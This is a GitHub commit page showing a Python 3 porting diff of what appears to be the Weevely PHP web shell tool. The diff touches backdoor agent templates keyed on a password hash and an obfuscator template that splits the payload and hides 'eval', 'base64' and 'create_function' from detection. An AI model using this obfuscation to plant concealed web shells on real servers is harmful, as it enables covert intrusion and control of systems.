Skip to content

Commit

Permalink
Revert wrong 2to3 changes print(()) and list(var.items())
Browse files Browse the repository at this point in the history
 In the following files:
 argparsers.py
 module.py
 sessions.py
 terminal.py
 phpconf.py
 enum.py
 test_sql_console.py
  • Loading branch information
samueloph authored and epinna committed Dec 24, 2019
1 parent 4de4688 commit 5dd1517
Show file tree
Hide file tree
Showing 57 changed files with 273 additions and 1,683 deletions.
8 changes: 0 additions & 8 deletions bd/agents/legacycookie_php.tpl

This file was deleted.

4 changes: 2 additions & 2 deletions bd/agents/obfpost_php.tpl
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
<%! import hashlib, utils, string %><%
passwordhash = hashlib.md5(password).hexdigest().lower()
passwordhash = hashlib.md5(password.encode('utf-8')).hexdigest().lower()
key = passwordhash[:8]
header = passwordhash[8:20]
footer = passwordhash[20:32]

PREPEND = utils.strings.randstr(16, charset = string.digits + string.letters)
PREPEND = utils.strings.randstr(16, charset = string.digits + string.ascii_letters).decode('utf-8')
%>$k="${key}";
$kh="${header}";
$kf="${footer}";
Expand Down
2 changes: 1 addition & 1 deletion bd/agents/stegaref_php.tpl
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
<%! import hashlib %><%
key = hashlib.md5(password).hexdigest().lower()
key = hashlib.md5(password.encode('utf-8')).hexdigest().lower()
header = key[:4]
footer = key[4:8]
%>$kh="${header}";
Expand Down
2 changes: 1 addition & 1 deletion bd/agents/stegaref_php_debug.tpl
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
<%! import hashlib %><%
key = hashlib.md5(password).hexdigest().lower()
key = hashlib.md5(password.encode('utf-8')).hexdigest().lower()
header = key[:4]
footer = key[4:8]
%>$kh="${header}";
Expand Down
4 changes: 2 additions & 2 deletions bd/obfuscators/cleartext1_php.tpl
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
<?php
${agent}
?>
${agent.decode('utf-8')}
?>
30 changes: 16 additions & 14 deletions bd/obfuscators/obfusc1_php.tpl
Original file line number Diff line number Diff line change
Expand Up @@ -3,20 +3,21 @@ import random
import itertools
import string
import re
import pipes
import shlex
import utils
%><%

# Does not include \ to avoid escaping termination quotes
def find_substr_not_in_str(str, characters = string.letters + string.digits + '!"#$%&()*+,-./:;<=>?@[]^_`{|}~'):
def find_substr_not_in_str(mainstr, characters = string.ascii_letters + string.digits + '!"#$%&()*+,-./:;<=>?@[]^_`{|}~'):
while True:
substr = utils.strings.randstr(2, False, characters)
if not substr in str:
if not substr in mainstr:
return substr

def obfuscate(str, obf, division, dangerous):
def obfuscate(payload, obf, division, dangerous):
while True:
polluted = obf.join(list(utils.strings.divide(str, 0, division, len(str)/division)))

polluted = obf.join(list(utils.strings.divide(payload, 0, division, len(payload)//division)))

found = False
for dang in dangerous:
Expand All @@ -27,16 +28,16 @@ def obfuscate(str, obf, division, dangerous):
return polluted

# Try to minify
agent_minified = re.sub('[\n\r\t]','',agent)
agent_minified = re.sub(rb'[\n\r\t]',b'',agent)

obfuscation_agent = find_substr_not_in_str(agent_minified)
obfuscated_agent = obfuscate(agent_minified, obfuscation_agent, 6, ('eval', 'base64', 'gzuncompress', 'gzcompress'))
obfuscated_agent = obfuscate(agent_minified, obfuscation_agent, 6, (b'eval', b'base64', b'gzuncompress', b'gzcompress'))

agent_splitted_line_number = random.randint(5,8)

agent_splitted = list(utils.strings.divide(obfuscated_agent, len(obfuscated_agent)/agent_splitted_line_number-random.randint(0,5), len(obfuscated_agent)/agent_splitted_line_number, agent_splitted_line_number))
agent_splitted = list(utils.strings.divide(obfuscated_agent, len(obfuscated_agent)//agent_splitted_line_number-random.randint(0,5), len(obfuscated_agent)//agent_splitted_line_number, agent_splitted_line_number))

agent_variables = list(string.letters[:])
agent_variables = list(string.ascii_letters[:])
random.shuffle(agent_variables)
agent_variables_references = agent_variables[:]

Expand All @@ -46,23 +47,24 @@ agent_variables_references = agent_variables[:]
agent_list = []
for line in agent_splitted:
# Lines are quoted now and not before (could separate escape and quote on splitting)
line = pipes.quote(line)

line = shlex.quote(line.decode('utf-8'))

# Replace all the \ with \\, to avoid to escape the trailing quote.
line = re.sub('\\\\','\\\\\\\\', line)

agent_list.append((agent_variables.pop(0), '%s;' % line))

obfuscation_createfunc = find_substr_not_in_str('create_function', string.letters)
obfuscated_createfunc = obfuscate('create_function', obfuscation_createfunc, 2, ())
obfuscation_createfunc = find_substr_not_in_str(b'create_function', string.ascii_letters)
obfuscated_createfunc = obfuscate(b'create_function', obfuscation_createfunc, 2, ())

agent_list.append((agent_variables.pop(0), "str_replace('%s','','%s');" % (obfuscation_createfunc, obfuscated_createfunc)))
agent_list.append((agent_variables.pop(0), "str_replace('%s','','%s');" % (obfuscation_createfunc.decode('utf-8'), obfuscated_createfunc.decode('utf-8'))))

random.shuffle(agent_list)
%>
% for line in agent_list:
$${line[0]}=${line[1]}
% endfor
$${agent_variables.pop(0)}=str_replace('${obfuscation_agent}','',$${'.$'.join(agent_variables_references[:agent_splitted_line_number])});
$${agent_variables.pop(0)}=str_replace('${obfuscation_agent.decode('utf-8')}','',$${'.$'.join(agent_variables_references[:agent_splitted_line_number])});
$${agent_variables.pop(0)}=$${agent_variables_references[agent_splitted_line_number]}('',$${agent_variables_references[agent_splitted_line_number+1]});$${agent_variables_references[agent_splitted_line_number+2]}();
?>
2 changes: 1 addition & 1 deletion core/argparsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ def set_default_subparser(self, name, args=None):
for x in self._subparsers._actions:
if not isinstance(x, argparse._SubParsersAction):
continue
for sp_name in list(x._name_parser_map.keys()):
for sp_name in x._name_parser_map.keys():
if sp_name in sys.argv[1:]:
subparser_found = True
if not subparser_found:
Expand Down
3 changes: 2 additions & 1 deletion core/channels/channel.py
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ def _additional_handlers(self):

def send(self, payload):

response = ''
response = b''
code = 200
error = ''

Expand Down Expand Up @@ -141,6 +141,7 @@ def send(self, payload):
if response:
dlog.info('RESPONSE: %s' % repr(response))
else:
response = b''
command_last_chars = utils.prettify.shorten(
payload.rstrip(),
keep_trailer = 10
Expand Down
Empty file.
135 changes: 0 additions & 135 deletions core/channels/legacycookie/legacycookie.py

This file was deleted.

Empty file.
96 changes: 0 additions & 96 deletions core/channels/legacyreferrer/legacyreferrer.py

This file was deleted.

Loading

0 comments on commit 5dd1517

Please sign in to comment.